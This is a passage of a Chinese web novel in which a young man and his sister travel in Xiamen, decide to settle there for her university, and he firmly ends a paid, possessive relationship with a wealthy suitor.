“晚点我把房子的地址和攻略发给你,但其实也没什么攻略,都是我觉得挺好吃的一些店,可以去尝尝。”
“那学长需要我帮忙的话,记得要和我说。”江瑶浪对余光林印象不好,总觉得他又要干坏事,“我随时都有空的。”
“哈哈。”温绍臣看江瑶浪如临大敌的样子忍不住笑出来,“没事,他做不了什么,我要是铁了心不回去他也奈何我不了。”
“但是吧,没必要弄得这么难看,”温绍臣又补充了一点,“尤其是,余光林的妈妈是我很敬重的长辈,我不想她因为我们俩的事情烦心。”
“总之,你和小清好好玩,有需要帮忙的就找我,好吗?”
温绍臣去意已决,江瑶浪也只好接受他的安排,他们收拾好行李,然后一起抵达机场,温绍臣飞回北京,而江瑶浪兄妹俩前往厦门,继续旅行。
*
七月中的厦门,给兄妹俩的感觉就是热。
尤其是他们刚从云南离开,骤然来到又闷又热的环境,只觉得快要喘不过气,没走多久更是全身汗湿。
初次体验不算好,再加上他们不赶时间。
于是兄妹俩愉快地在温绍臣的房子里吹了两天空调,好不容易歇够了,愿意出门了,结果台风先一步抵达。
“哇塞,这就是台风吗?”江瑶清看向屋外的狂风暴雨,还有点小激动。
“哥你快过来看!那棵树被吹得好惨!”发现新大陆的江瑶清忙招呼她哥过来欣赏风中凌乱的绿化树。
江瑶浪走到窗边的时候手里拿着透明胶带,他有点犹豫:“也不知道这种胶带会不会留胶痕。”
“但是我看网上说,刮台风的时候要用胶带贴窗户?”江瑶浪看看胶带又看看屋外的大风大雨,还在纠结。
结果还是江瑶清机灵,她观察了一下,然后让江瑶浪看向小区里的其他窗户。
“哥你看,没有人贴。”
江瑶浪把脸贴近,左看右看,确认其他家的窗户都干干净净后才安心地看树乱舞。
“从来没遇到过这种天气,”江瑶浪感到庆幸,“还好前两天懒,一次性买了好多食物,现在也不愁吃喝。”
“我可不想在这种天气出门,太吓人了。”
江瑶清也跟着庆幸:“不如怎么说懒人有懒福呢……”
然后她看着黑黝黝的天,提出想法:“哥!我们看电影吧!这种天气好适合看灾难片啊。”
“好啊,看什么。”江瑶浪欣然答应。
他坐回沙发,打开电视,温绍臣家的电视有会员,江瑶浪也就不需要用手机投屏,他调出界面,准备等江瑶清回答后就搜索电影名。
温绍臣这间屋子是全屋智能,江瑶清控制AI关上窗帘,又关闭主灯,屋子里瞬间昏暗不少。
江瑶清很满意此时的氛围,然后她找出零食水果放在茶几,准备就绪后抱着靠枕挤在哥哥身上,她说出题材:“那当然是看台风相关的。”
“还是说,哥你又想看《后天》。”
“哼哼,”江瑶浪一边问D老师台风题材的灾难片,一边说,“我看什么都无所谓,当然,最想看日本沉了。”
D老师列了四部影片,他把手机递给江瑶清,让她选一部。
但江瑶清又觉得江瑶浪说得很有道理:“那要不我们看《日本沉没》吧?我记得有这个电影。”
江瑶浪想了想,说:“唔,成功沉了的那版是七几年的,但印象中好像不是很好看。”
“啊……”江瑶清有点泄气,虽然她喜欢片名,但是不爱看烂片,“那哥你把片调出来,我看几分钟片名吉利一下。”
江瑶浪失笑:“这也行?”
“哼哼,片子不好看,片名好看不就行了。”江瑶清又开始说她的清姐真理。
江瑶浪听信江瑶清的真理,两人盯着片名看了一刻钟。
然后江瑶浪问:“现在吉利了吗?”
“吉利了!接下来我们看《超强台风》吧!”
江瑶清欢呼。
*
雨过天晴,他们准备出发,去把温绍臣列出的必吃清单一个个打卡。
他们打算先试试沙茶面,正好温绍臣的清单里就有一家,而他推荐这家店的理由只有两个字,不腻。
为了对比,他们在吃这家店之前还特意随便找了家沙茶面,点了个小份分着吃,结果两人依旧吃得很艰难。
“哥哥,我觉得我们不应该这么好奇的。”江瑶清咽下最后一口,非常后悔,“也许我们就是吃不来这种东西……”
可江瑶浪还是选择相信温绍臣:“学长不骗人,他说不腻那应该不错。”
虽然相信,但在点单的时候依旧很保守,他们还是只点了个小份。
这家店的沙茶面面相很好,肉量不少,豆干被浸泡入味,油汪汪,可江瑶清没被诱惑,坚定地摆了摆手,让江瑶浪先试。
江瑶浪夹了一筷子面,拌着汤浅浅咬了一口,尝出味道后,他才放心地把剩下的也吃进嘴里,咽下。
江瑶浪舔舔嘴角的汤汁,夸赞:“好吃的,确实不腻,有一点点辣,和刚刚那家完全不一样。”
于是江瑶清也试了一口,吃进嘴后她惊喜地睁大双眼。
“哇塞,真的好好吃。”
“呜呜呜,”江瑶清假哭,“我再也不要吃绍臣哥没推荐的店了。”
江瑶浪却觉得偶尔踩雷其实也不错,他揉揉江瑶清的头:“可是,这也是厦门的一部分呀,我们总要自己探索这座城市的。”
江瑶浪笑笑:“这就是旅行的意义。”
*
正餐吃
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完,他们准备去试试大名鼎鼎的四果汤。
江瑶浪打开地图,然后对着温绍臣的清单展开研究。
没过多久,他指着其中两家对江瑶清说:“小清你看,我们可以先试试这家四果汤,因为这里附近还有一家学长强推的烧酒档。”
“我们可以坐BRT过去,还是直达呢。”江瑶浪调出导航,“那边是老城区,好像还挺多东西逛的,够我们消耗一下午了。”
“这个安排怎么样?”他把手机屏幕展示给江瑶清看,双眼亮晶晶。
“出发出发!向四果汤进攻!”江瑶清当然觉得这个安排好极了。
于是江瑶浪开启导航,准备去坐BRT。
然后他们就被设置在桥上的站台震惊了。
“哥,这真的是公交车吗……”江瑶清觉得这简直是不可思议,“厦门的BRT居然,自己拥有一座桥?”
“难怪用时这么短呢,这想堵车也难啊。”江瑶浪也觉得很震撼,他拉起江瑶清的手,带着人快步走上手扶梯,“我迫不及想体验一下了。”
上车后他们也没有找位置坐,而是站在车头,公交车行驶在宽敞洁净的车道里,他们透过车窗看台风过后,清澈透明的蓝天。
江瑶浪从背包拿出相机,把镜头对准江瑶清:“小清,笑一下。”
江瑶清配合他拍完,然后她拿出手机,把镜头对准江瑶浪:“小浪,笑一下。”
江瑶浪捧着相机,朝江瑶清笑得灿烂。
这家四果汤的冰给得大方,摞得好高好高,水果和小料都被埋在冰下。
江瑶浪对着这一大坨冰,寻找着切入点,最后只挖了一个尖尖。
他把那勺冰吃进嘴里,惊讶地发现:“这个冰居然是甜的!”
江瑶清早已把冰戳进碗里,和配料混为一体,听到江瑶浪的说法,她毫不客气地挖走江瑶浪碗里的一大勺冰塞嘴里。
“哇塞!白糖味的!”江瑶清又睁大了眼,“好爽啊这个冰!”
江瑶浪点点头:“夏天吃这个太舒服了,我爱四果汤。”
“我也爱四果汤!”江瑶清喜欢这种又冰又甜的糖水,“我要每天都吃!”
“好好好,在厦门的每一天我们都吃。”
这边虽然是老城区,但是意外好逛,低调质朴,充满着烟火气,但它也没有与社会脱节,依旧有不少创新的咖啡馆面包店。
他们悠悠闲闲慢走了一下午,累了就随便进一家店歇脚聊天,江瑶浪喜欢给江瑶清拍照,他的相机里塞满了趣物、街景、天空与江瑶清。
台风过后的黄昏时刻,是难得的红,他们从未见过如此炽亮的晚霞,漫天橙红,仿佛云在燃烧。
江瑶浪已经数不清是第几次因厦门而震撼,只是再度举起手中的相机,一一记录。
晚餐的爆炒鱼肚和海鲜饼非常美味,江瑶浪还尤其钟爱酱油水杂鱼,明明是很家常的做法,但因为食材足够新鲜,整道菜鲜美异常。
“之前总看到有人说厦门是美食荒漠,”江瑶浪又夹起一块鱼肉,忍不住为厦门正名,“我觉得,是因为他们缺少一份学长的美食清单。”
“明明好吃的也不少嘛。”
起码今天的江瑶浪很满足。
当然,如果没有最开始的那碗沙茶面,就会更加完美。
35.第 35 章
前方到站是集美学村,江瑶清提前端坐,她又整理了一下头和衣服,对江瑶浪说:“快快快,哥哥帮我拍下来。”
江瑶浪早就躲着人找好了角度,他比出“OK”手势,示意江瑶清放心。
于是,在播报响起的时候,江瑶清也同时张嘴,一本正经地流畅背出:“蓝天碧海飞白鹭,波光点影泛渔舟。”
江瑶清一手捂胸,一手捧住地铁窗外的海景落日:“海景画卷尽展眼前,厦门地铁带您体验——”
“城在海上,海在城中!”
按下停止键后,江瑶浪才把头藏进臂间,把憋了许久笑意释出,黑发在他乱颤的背上跳动着滑落,好不欢快。
正好此时列车到站,藏着韵味的闽南语播报响起,江瑶清上前抱住江瑶浪的手臂拉他下车,佯怒威胁道:“哥哥再笑的话我就要掐你了哦。”
江瑶浪还笑着:“在厦门好危险,稍不注意就会遭暗算变成鹌鹑。”
随后他不太标准地模仿着刚刚的播报:“恰恰恰,咯掐恰注意鹌鹑。”
江瑶清被他这混着普通话的怪调逗乐了,她忍不住大笑。
*
鹌鹑兄妹这次来集美,就是为吃一家老店的鸭肉面线。
他们两个人也吃不了太多,最开始只点了小份面线和海蛎炸,但等上菜的时候,江瑶浪翻翻菜单,又实在是想尝试土笋冻,于是便加了一份。
江瑶清觉得土笋冻长得很邪恶,不是很敢吃,就提前跟江瑶浪说:“先说明!我可不吃啊,谁点的谁自己解决。”
经过这几天的逛吃,江瑶浪已经对温绍臣深信不疑:“学长说,跟吃果冻一样,脆脆的。”
“来都来了,总得试试吧。”江瑶浪说出经典台词,试图打动江瑶清。
江瑶清坚定地摇摇头。
就在两人交谈间,菜品陆续上桌,他们先喝了一碗四物番鸭汤,又吃了点鸭肉,正准备挑面线的时候,江瑶浪又想起什么:“它是不是会繁殖来着。”
江瑶清也很好奇,她拿出手机对准面线拍了张照,然后说:“那我们先别吃,观察一下。”
江瑶浪也同意,他们选择先消灭海蛎炸。
刚上桌的海蛎炸热气腾腾,酥脆鲜嫩,蘸着酱一口一个,深受兄妹喜爱,没一会就整盘吃完了。
江瑶清舔舔嘴角的碎渣:“这个太香了,如此美味……”
“那你也要把它列进每日必吃清单里面吗?”江瑶浪打趣,在厦门没玩几天,江瑶清的清单已经多了不少美食,每一个都嚷嚷着天天都要吃。
“哼哼,爱吃多吃怎么了!”
“没怎么,能吃是福。”江瑶浪擦擦嘴,用牙签戳起一块土笋冻,沾了些酱料,然后闭着眼塞进嘴里。
有点冰,脆脆的,也没什么异味,最主要的是酱料的味道很好,江瑶浪觉得还挺好吃的。
他又向江瑶清安利:“真的不试试吗?没什么奇怪的感觉,真的。”
江瑶清还是不太敢,她让江瑶浪再吃一块。
看她如此警惕,江瑶浪失笑,又戳了一块吃进嘴里:“哥哥又不骗你,真的还可以啊。”
出于对哥哥的信任,江瑶清一鼓作气,闭眼张嘴吃进去最小的一块,最开始连咀嚼的速度都很慢,看得出来是作了一番心理斗争,但后续慢慢加快,她睁开眼:“好像口感是挺好的喔?”
“是吧,就是脆脆果冻。”
然后两人又看向被剩下的面线,而此时的面线已经繁殖膨大,满得快要溢出。
江瑶清翻出刚刚拍摄的照片,和此刻的面线进行对比:“哇塞,繁殖了好多!”
江瑶浪也凑过去看:“好厉害啊,这个东西。”
“嘿嘿,”江瑶清伸出筷子,夹了半碗面线,伴着鸭汤开吃,“让我来试试,传说中的福建小孩噩梦。”
可惜的是,他们吃的速度赶不上面线繁殖的速度,吃到最后还剩下小半,鸭肉也没吃完,只有鸭汤被喝得干干净净。
江瑶清摸着自己的肚子摆手:“小浪,清姐先退一步,你加油。”
江瑶浪也吃不下啊,他只能让服务员打包,准备当作明天的早餐。
江瑶清笑嘻嘻地挖苦:“看来面线不只是福建小孩的噩梦。”
江瑶浪承认是自己失策,他没想到小份居然也有这么多,更低估了面线的繁殖能力。
好奇心不止害死猫,江瑶浪心想。
*
晚上,江瑶浪问江瑶清选好学校了没,填志愿的时间都快过了。
江瑶清的分数不错,除了最顶级的那几所,基本都能稳上。
“唔……”江瑶清其实心里已经有了想法,但她还不太确定,于是说,“要不明天我们再去厦门大学那一圈逛逛吧。”
江瑶浪挑挑眉:“想去厦大啊?”
被看透心思的江瑶清撅撅嘴:“有想法,但是不一定,哎呀,先看看嘛。”
江瑶浪把手搭在沙发靠背,整个人放松陷了进去,他问:“这么喜欢厦门?”
江瑶清也学着哥哥陷进沙发里,点头承认:“是很喜欢,感觉在这里很开心。”
“喜欢就留下吧。”江瑶浪说,“在南方玩几年也不错,我也挺喜欢这里的。”
“有阳光,有沙滩,有大海,有四果汤。”
他笑笑:“还有台风和回南天。”
“台风和回南天为什么也能吸引你啊?”江瑶清笑着吐槽。
“也许是好奇?”江瑶浪只觉得这些现象有意思,“是好是坏,我都想试试。”
“到时候你嫌烦怎么办?”
“那就,台风天不出门,回南天开抽湿机,有蟑螂出没就放蟑螂屋。”
“小清。”江瑶浪的双眸难得透出憧憬,“我在试着爱上这座城市。”
闻言,江瑶清翻身拥抱江瑶浪。
她说:“哥哥,是你在选择找回自己,热爱这个世界。”
江瑶浪点点头,说:“这是好事儿啊。”
因为。
我步履不停,奔赴属于自己的那片海。
而后化身成浪,与它相拥,生出无限勇气。
*
目标清晰后,后续准备也变得简单。
江瑶浪开始寻找适合的房子,然而看了好几天,也没找到特别符合心意的。
他决定向温绍臣求助。
【不要柠檬】:学长,小清喜欢厦大,我们决定留在厦门了。
【不要柠檬】:所以想问问你有没有合适的房源可以推荐一下。
【绍臣学长 3.2】:那就住我的房子嘛,干嘛往外跑。
江瑶浪最怕的就是看到这句话,让他为难得不知道该怎么拒绝。
好在没过几秒温绍臣又发来信息。
【绍臣学长 3.2】:嘻嘻,在想怎么回绝吧?
【绍臣学长 3.2】:[视频]
【绍臣学长 3.2】:喜欢这个吗?两房一厅,不算很大,足够你们住了。
【绍臣学长 3.2】:房主准备出国,正托我找租客呢。
【不要柠檬】:学长等等,我问问小清。
江瑶浪把江瑶清招过来,然后点开视频,两人一起把温绍臣推荐的房子里里外外看了个遍。
视频播放结束,两人都觉得很满意。
江瑶清感叹:“有个靠谱的绍臣哥比什么都重要……”
江瑶浪赞同:“太省心了。”
拿定主意后,江瑶浪回复消息。
【不要柠檬】:学长,我们都很喜欢这个房子。
【绍臣学长 3.2】:
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那太好了,你加房主微信细聊。
【绍臣学长 3.2】:[个人名片]
【不要柠檬】:谢谢学长,帮大忙了。
【绍臣学长 3.2】:客气什么,就是可惜不能来和你们玩儿啦。
【不要柠檬】:余光林为难学长了吗?
【绍臣学长 3.2】:那倒不是,是我那个长辈啦,身体不是很舒服,我陪她一段时间。
【不要柠檬】:哦哦,需要帮忙的话,学长记得叫我啊。
【绍臣学长 3.2】:嘿嘿,好哦,你们好好玩啦。
结束和温绍臣的对话后,江瑶浪申请添加房主的微信。
估计是温绍臣提前打了招呼,对面通过得很快。
也正好房主也还在厦门,她给江瑶浪发了定位,让他们直接上门,合适的话今天就把事情定下来。
后续的沟通非常顺利,实物比视频还要吸引人,朝向很好,房主是个特别热爱生活的女孩子,原木风的装修让这个小房子自然又阳光。
房主也不缺钱,直言房子放着就是积灰,还不如找家爱干净的租客,还能帮她看着房子,江瑶浪他们满意房子,房主也满意他们,于是主动报了个比市场均价低了五百的租金。
他们速战速决,当天就签了合同拿了钥匙,江瑶浪给房主转了押金和一年的房租。
解决了最大的难事,江瑶浪转着挂了木头饰品的钥匙串,对江瑶清说:“接下来,就剩下回北京收拾东西了。”
“出发出发!”
*
临走前,他们特意去吃了碗四果汤。
见江瑶清满脸不舍,江瑶浪说:“也就分别一段时间,往后的四年里,你真的可以天天吃了。”
“嘻嘻,四果汤这个东西,完全不嫌多嘛。”
阔别多日的家里已经积攒了一层明显的浮尘,江瑶浪打开电闸,开了灯,他们把行李放回各自的房间,然后开始全屋清洁。
江瑶清拧干最后一条抹布晾好,她对江瑶浪说:“哥哥,我去找一下小玲姐!”
“好啊,晚上你想吃什么?”江瑶浪准备做完收尾工作后就出门买菜。
江瑶清却舍不得让哥哥再累,于是说:“叫外卖好啦,我要吃麦当劳。”
“好。”
然而江瑶清下去没多久,就给江瑶浪打了个电话。
江瑶浪接起:“怎么了?”
对面的江瑶清很快乐:“嘻嘻,小玲姐说要做饭给我们吃啦,哥哥不用叫外卖了。”
“好啊,”江瑶浪本想下去看能不能帮上忙,但衣服都沾了尘,于是他说,“我洗个澡就下去找你们。”
“不急不急,早着呢,没这么快吃饭。”
江瑶浪哼了声:“我可不像你,只知道吃。”
他挂了电话,拿着换洗衣物进了浴室,仔仔细细洗了个澡。
然而在他走出浴室后,却发现客厅突兀地多了个人。
江瑶浪停下擦头发的动作,皱着眉看向他。
“你怎么进来的?”
单承言瘦了不少,也不大有精神,可看向江瑶浪的眼神却依旧温柔。
他说:“瑶瑶,你给过我钥匙的。”
于是江瑶浪伸出手:“来还钥匙的是吧?那给我吧。”
单承言摇摇头,随即走上前,伸出手想帮江瑶浪擦头发。
江瑶浪敏锐地后退一步,让单承言的手僵在半空。
他把手握成拳,藏在身后,笑容苦涩:“先吹头发吧,不要着凉了。”
“你有很多话要说?”
单承言点头,目光一刻不离江瑶浪。
“可我没什么想听。”
好残忍。
单承言心想。
但他只说:“先吹头发吧,瑶瑶。”
36.第 36 章
江瑶浪关闭吹风机,刚吹好的长发丰盈蓬松,干爽温暖。
他看向单承言:“现在你还有事吗?”
单承言说:“有。”
“要说多久?”
单承言一言不发,但眼里透露出来的意思分明是时间越长越好。
江瑶浪抱臂靠着墙,面无表情地盯着他看了几分钟。
然后径直走出浴室,回到客厅的沙发上盘腿坐下。
单承言想贴在他身旁坐下,但江瑶浪指了指不远处的豆袋:“你不是爱坐那个?去吧。”
那豆袋离江瑶浪也就几步的距离,可单承言不想过去。
他单膝跪在江瑶浪身前,仰头看着他,语气里藏着一丝恳求:“这样可以吗?”
江瑶浪觉得这样挺没意思的,他轻笑一声,伸腿从茶几底下勾出一张小板凳推到单承言的腿边:“坐吧,你这阵势搞得,让外人看了还以为你把我怎么了呢。”
板凳很矮,又小,单承言坐上去却显得很满足。
江瑶浪撑着脸,对单承言抬了抬下巴:“开始吧,问你想问的,说你想聊的,在今天都说开。”
“你……”单承言纠结大半天,小心翼翼地问,“这段时间开心吗?”
他说得含含糊糊,江瑶浪干脆装傻:“开心啊,出去玩哪有不开心的。”
“那,那段时间呢?”
“哪段时间?”江瑶浪决定装傻到底。
“就是你和我在一起的这段时间。”
江瑶浪又笑了下,凑近单承言,垂眸看他:“想听真话还是假话?”
他们现在离得好近,连洗发水的香味都清晰可闻,单承言想,他的视线不可控地稳稳落在江瑶浪开合的红唇上。
好近,我只需要再稍微抬一下头。
然而在下一秒,他就被江瑶浪用力地弹了个脑瓜崩。
单承言下意识捂住变红的额心,迫不得已从不合适的情绪里抽离。
“还聊不聊了?不聊就把钥匙还我,然后慢走不送。”
回神的单承言清了清嗓音,说:“对不起,还聊的,别赶我走。”
“我想听真话。”单承言做出选择。
江瑶浪“啊”了声,有点意外:“还以为你会想听些好听的。”
“那好吧,”江瑶浪说得很慢,“真话是,我不讨厌你,但是也不喜欢。”
“不讨厌你是因为,我知道替身是假的,而且你对我确实还不错,不喜欢是因为,”江瑶浪顿了顿,皱着眉组织措辞,“你好像没有把我当人?”
闻言,单承言震惊地瞪大了眼睛,他震惊于江瑶浪知晓了替身的谎言,更震惊于“没把江瑶浪当人看”的荒谬观点。
“你什么时候知道……”
“什么时候知道替身是假的?”江瑶浪打断了他的话,“我想想,大概是十一月底十二月初那段时间吧。”
单承言更加震惊了,他感觉不可思议,追问:“是瑶瑶自己发现的吗?还是谁和你说了什么?”
江瑶浪伸出食指,隔空点了点单承言的眼睛:“你知不知道,你看向我的眼神里,有好奇,有惊艳,有迷茫也有迷恋。”
“可是,唯独没有怀念。”
“单承言,你从来没有透过我在看另外一个人。”江瑶浪语气平和,“所以我不讨厌你。”
“至于为什么说,你没把我当人看。”江瑶浪叹了口气,“这就更简单了,我就问你一个问题吧。”
“假如在小春的聚会上,我见钱眼开和柚姐走了,你会怎么做?”
江瑶浪看着他眼底翻涌的浓重郁色,也没指望他能回答,于是再度开口:“你会很生气,你会指责我,也许还会把我关起来。”
“为什么呢?因为你觉得我是你的所有物。”
“可是单承言,就算我们之间存在着交易关系,我也先是一个人。”
“一个,不需要对你承诺忠诚的,自由的人。”
单承言猛地看向江瑶浪,眼眶变红。
江瑶浪拍拍单承言的肩,说:“别这么激动,又是你要说想听真话的,真听到了你又不乐意,这么凶干嘛。”
江瑶浪的手依旧搭在单承言的肩上,直视他发红的眼:“我不喜欢你学不会尊重人,不喜欢你罔顾我的意愿,不喜欢你无理取闹的占有欲,最不喜欢的是你……”
“试图让我这种处境下爱上你。”
单承言的双眼缓缓溢出水色,而江瑶浪毫不留情:“单承言,你要是敢哭出来就立马给我滚出去。”
他收回手坐直身体,远离单承言,重新撑着脸:“最烦别人在我面前哭。”
“尤其是,”江瑶浪凉凉地掀起眼皮,“比我还高还壮的。”
单承言垂头藏起双眼,不住深呼吸,双手紧握成拳,被他迅速藏在身后,不让暴起的青筋吓到江瑶浪。
“对不起,瑶瑶。”单承言话说得艰难,发出的声音干涩浑浊。
江瑶浪随意挥挥手:“下一个问题。”
“我爸爸,他有为难你吗?”
“咦?”江瑶浪没想到他会问这个,“他没和你说吗?”
单承言抬起头,用充血明亮的眼睛重新看向江瑶浪:“我想听你说。”
随着这句话的尾音在空中消散,江瑶浪开始回忆那个下午。
*
“你好,江瑶浪是吗?接下来有时间吗?”
江瑶浪看向身前的单锦元,点了点头。
他说:“我有空的,是关于单承言的事吧。”
“可以,”江瑶浪又接着说,“就在这里聊吧,省得走来走去了。”
单锦元欣赏他的不卑不亢,率先转身走回刚刚休息的桌椅旁,他给江瑶浪拉开皮质软椅:“坐吧。”
待江瑶浪坐下后,单锦元更是直接地朝他推去一张支票。
“我不知道单承言一个月给你多少,但我认为,做人应该学会适可而止。”
江瑶浪看都没看那张支票一眼,伸手推了回去:“不需要,我不是因为钱才选择答应他的。”
单锦元更是疑惑:“你是想说,你爱他?”
江瑶浪忍不住嗤笑:“那就更不可能了。”
“或许您还记得单承言那次见义勇为。”江瑶浪单刀直入,说明起因,“在那场事故中,单承言救了我的妹妹,为了报答他,我答应了陪他一段时间。”
“他一个月给我两百万,”江瑶浪翻出记在备忘录里的卡号与开支,把手机递给单锦元,“截至目前,一共用了三十九万七千八百元,用途是还清自身债务。”
“本来不该花这些钱来还债的,但单承言他不让我工作。”
江瑶浪的声音平静无波:“如果您认为必要,我可以打个欠条,后续还给您。”
备忘录里清晰明了地记录了每一笔支出,内容不算多,但单锦元却拿在手里看了很久。
沉默许久后,他把手机还给江瑶浪,他说:“他给你的钱,本就是你应得的。”
“只是我很好奇,后续是什么意思?”
“意思是,我最晚会在八月离开。”江瑶浪说出早已定下的计划,“我妹妹不想在北京读大学。”
“你打算怎么离开?”
“我会根据妹妹的学校提前找好住处,等北京的事情处理好后,随便找一天,避开单承言,拿上证件坐飞机离开。”
“
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为什么要避开他?”
“因为,他对我的好奇远超预期,我原本以为这段关系很快能结束,但现在看来,是我错了。”江瑶浪一字一顿,“因此不避开他,我没办法走。”
“他还强迫你了?”单锦元咬牙切齿地说出这句话,快要压不住怒火。
江瑶浪果断摇摇头:“单承言他并没有逼迫我做过什么我不情愿的事情,他给钱,我陪他过家家,就这么简单。”
“可你也没用他的钱,不是吗?”
“我用了,”江瑶浪说,“单先生,也许在你们眼里,三十来万什么也不是,但对我来说,这是很大、很大的一笔钱,足够卖走我几年人生。”
“所以,其实我还应该谢谢单承言,谢谢他给了我一份工资足够高的工作,当然,最应该感谢的是他救了我的妹妹。”
听到这番话,单锦元顿时语塞,密密麻麻的内疚感瞬间将他淹没。
无地自容。
半响,单锦元站起身,对江瑶浪弯下腰,深深鞠了一躬。
“抱歉,是我疏于管教。”
“抱歉,是我先入为主。”
江瑶浪在他弯腰的时候就已经敏捷起身,避开了这一躬。
他没有接受单锦元的道歉,也认为这非必要。
他说:“说辞是你们在为自己的教育失败感受到不快,可我也明白你们是在防备感情进一步加深的可能,放心吧,我和他自始至终没有任何特殊关系,只有最存粹的金钱交易。”
“而八月之后,我们就什么关系都没有了。”
江瑶浪看向已经直起身的单锦元,问:“您还有什么疑惑吗?”
单锦元摇头,拿起桌面的支票,又一次递给江瑶浪:“收下吧,你们需要经历过渡期,总归是要用钱的。”
江瑶浪再次拒绝:“我有手有脚,在没有单承言的时候,我也一样把妹妹养得很好。”
“那至少,允许我帮你一次。”单锦元闭了闭眼,说,“在你希望的时候,单承言不会出现。”
“是吗?那就太好了。”
*
江瑶浪把当日的场景,一五一十地讲给单承言听。
一大段话说完,口干舌燥,江瑶浪站起身去厨房接水,独留单承言消化内容。
江瑶浪非常善良,给单承言也倒了杯:“喝吧,来者是客。”
来者是客。
单承言被这四个字击溃,强抑的情绪再起,化作惊涛骇浪,握杯的手不受控地颤抖。
“我们以后,只能是这种关系了吗?”
江瑶浪终究是心软,见不得人颓然,于是他大方安慰:“单承言,其实你朝气蓬勃的样子挺吸引我的。”
“你年轻强壮,自信活力,出众卓越,有着顶尖的相貌、家世与天赋。”
“你说你一个天之骄子,干嘛非得执着我这么个普通人呢。”
江瑶浪抬手摸摸单承言的头:“我们就这样吧,好聚好散。”
“我不愿意,江瑶浪,我不愿意。”
单承言紧紧握着那只抚摸他的手,看向江瑶浪的双眼在泣血:“江瑶浪,我不愿意。”
他不顾手主人的反对,强行亲吻指尖,卑微而深情地祈求爱。
“江瑶浪,我喜欢你,我爱你。”
“可不可以,再给我一次机会。”
而江瑶浪的神情却瞬间变得冷漠,他用被吻的指尖挑起单承言的下巴,声冷如铁:“你喜欢我什么呢?你对我又了解多少?”
“为什么要在这个时候随意说爱呢?”
江瑶浪眼含轻蔑:“如果你只是喜欢我这张脸,那么。”
“你的爱好廉价。”
37.第 37 章
“我没有,我不是只喜欢你的脸,我……”
“够了。”江瑶浪直接打断。
“单承言,我自认对这段关系仁至义尽,我真的,非常不愿意把话说得这么难听。”
“可是,”江瑶浪神色冷峻,眼里愠意渐浓,“你喜欢的到底是哪个江瑶浪?”
“你喜欢的是愿意纵容你,顺从你,安慰你,配合你的江瑶浪。”
“真抱歉啊,”江瑶浪继续抬高单承言的下巴,说,“那是我装出来的。”
“我是哪里人,你知道吗?”
“为什么我只有小清,你知道吗?”
“为什么我每天都吃糖,你知道吗?”
“你什么都不知道,就敢说爱,你什么都没有,也敢说爱。”
“不可笑吗?”
强忍的眼泪终究还是倾泻而下,颗颗滴落在江瑶浪的手上,砸出一道禁令。
“对不起,瑶瑶。”单承言的脸上泪痕肆意纵横贯穿,蜿蜒流向江瑶浪坚不可摧的心墙,“我回答不上来。”
他的手在不受控制地剧烈发抖,艰难拿出江瑶浪家的钥匙,直到耗尽全身的力气,才让那柄小小的钥匙,轻轻落入江瑶浪放在膝上的手心。
“对不起。”他又在道歉。
“对不起。”单承言轻拢着那只尚未离开的手,不敢触碰,“瑶瑶,如果我什么都知道了,什么都有了,你还会愿意考虑我吗?”
“单承言,当你什么都有了的时候,也就不再缺一个我了。”
江瑶浪从他的掌心抽离,用纸巾擦干手上的泪,又给单承言擦去脸上的湿痕。
他最后拍了拍单承言的头:“回去吧,我们都过好各自的人生。”
单承言努力让嘴角上扬,却分不清这是一次失控的肌肉抽搐还是真实笑意,他只知道自己的喉间胸腔弥散着无穷无尽的苦涩与铁锈味的痛意。
“江瑶浪,你一定要开心。”
“还有,对不起。”
*
单承言离开后,江瑶浪失力地倒在沙发上,他闭上眼,长叹一口气。
何必呢。
明明可以悄无声息地体面退出,却非要逼我把一切说开。
他在沙发上休息了一会,然后拍拍自己的脸,从困扰的情绪中抽离。
江瑶浪准备换身衣服就下楼找妹妹和小玲姐。
可当他走进房间后,却发现自己的书桌上同样突兀地多了一个巨大的盒子。
江瑶浪上前打开,不出所料,里面整整齐齐地摆放着当初被他留在公寓里的,由单承言送出的礼物,甚至新增了不少,而在这些价值连城的物品的最顶上,是一封信。
江瑶浪看着那封信,心里想的却是单锦元。
该说不说,不愧是父子吗?
同样是暗戳戳塞东西,同样留一封信。
但他没有打开那封信,只是把盒子重新合上,然后拿出手机给单锦元发了条短信,他附上自己的地址,让单锦元派个信得过的人,把单承言的东西拿走。
随后他换好衣服,来到小玲姐家。
“需要帮忙吗?”江瑶浪把头探进厨房,小玲姐正在背着门洗菜。
“哪有什么要帮忙的哟,你们俩就等着吃吧。”小玲姐头都没回,让江瑶浪麻溜地去找江瑶清玩去。
但江瑶浪也不好意思什么都不干,他走过去准备问江瑶清要不要买点喝的,却发现她已经捧着奶茶在吸了,而她身前的桌子上摆了许多饮料甜品。
江瑶清拍拍身侧的座位:“坐吧哥,我们俩的任务就是做一只无能的懒虫。”
江瑶浪只好坐下等吃。
小玲姐把思念与不舍都融进了这一顿饭里,三个人来来回回拿了三趟才把菜品全部端出,满桌的食物让江瑶浪觉得,小玲姐是恨不得用这一顿饭管饱他们一辈子。
“吃吧吃吧。”小玲姐坐下后,就一直往他们的碗里夹菜。
夹着夹着,这个勤劳心善的女人却忍不住哭出来,又很快把泪抹去。
她止住江瑶浪兄妹起身的动作,又继续往他们碗里堆高:“吃饭,吃饭。”
“我只是有点不放心,一下子就要离小玲姐这么远。”
“但是啊,小浪,小清,能出去走走是好事啊,你们照顾好自己,遇到困难了就和小玲姐说,知道吗?”
“嗯,”江瑶清的声音带着哭音,“小玲姐也要照顾好自己,我们会经常回来的。”
小玲姐却摆摆手:“机票不是钱啊?赚钱这么辛苦,你们好好的,有空和我聊聊天,我也就满足了。”
“会的。”江瑶浪把碗里的饭菜吃干净,说,“小玲姐别嫌我们烦才好。”
小玲姐破涕而笑,用筷尖隔空点点桌上的菜:“吃饭,吃饱了才有力气。”
临走前,江瑶浪轻轻抱住小玲姐:“小玲姐,需要帮忙的话,一定要喊我。”
“小浪随叫随到。”
*
到家后,江瑶清还是有点不开心。
江瑶浪张开双臂,问:“要不要躲进哥哥温暖的怀里哭一哭?”
江瑶清跺跺脚:“不需要啦!”
“我要努力学习,勤工俭学,拿奖学金,在没课的时候就飞回来找小玲姐!”江瑶清握紧双拳,鼓励自己,“清姐加油!”
江瑶浪在一旁欣慰地鼓掌:“清姐好棒!小浪也要努力赚钱。”
江瑶清举高双手,江瑶浪走过去和她击掌。
“哥哥,我们一起加油!”
等江瑶清情绪平复后,江瑶浪进房把那个沉甸甸的大盒子搬了出来。
